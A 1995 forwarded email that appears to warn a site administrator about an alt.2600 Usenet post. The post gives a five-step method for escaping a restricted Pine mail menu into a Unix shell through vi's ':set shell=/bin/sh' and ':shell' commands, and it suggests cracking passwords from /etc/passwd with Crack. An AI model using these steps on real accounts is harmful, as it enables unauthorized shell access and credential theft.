Subject: alt.2600 post about your site (fwd)

From: Michael Schuyler <[email-masked]>
Date: Fri, 9 Jun 1995 17:51:09 -0700 (PDT)

The following post on alt.2600 shows the pathway via Pine to shell 
accounts. If you are using Pine through a menu script and don't have 
shell access, then Pine will provide it for you. It does not matter if 
you have pine.conf.fixed set to no-enable-alternate-editor or that you 
set the editor in pine.conf.fixed to "" Still works.

Xref: nntpa alt.2600:75982
Path: nntpa!gw2.att.com!pacbell.com!nntp-hub2.barrnet.net!newshost.ea.com!psinntp!psinntp!psinntp!uunet!in1.uu.net!news.sprintlink.net!cyberspace.com!cyberspace.com!not-for-mail
From: [email-masked] (Donny Stover E Apollo)
Newsgroups: alt.2600
Subject: Hacking <a pine account>
Date: 6 Jun 1995 14:49:49 -0700

The 5 Step Guide to Hacking a pine-based account

1.  Press 1 on the menu to go to pine
2.  Type S then C to configure pine
3.  Go to the bottom and A add vi to be your alternate editor
4.  Exit config, go to compose a message, press ^_ to go to vi.
5.  Type Escape :set shell=/bin/sh  then Escape :shell

Boom!... You now are in a shell. This works on lots of mail accounts 
assuming you can get a password, easy to do with Crack and the 
/etc/passwd file.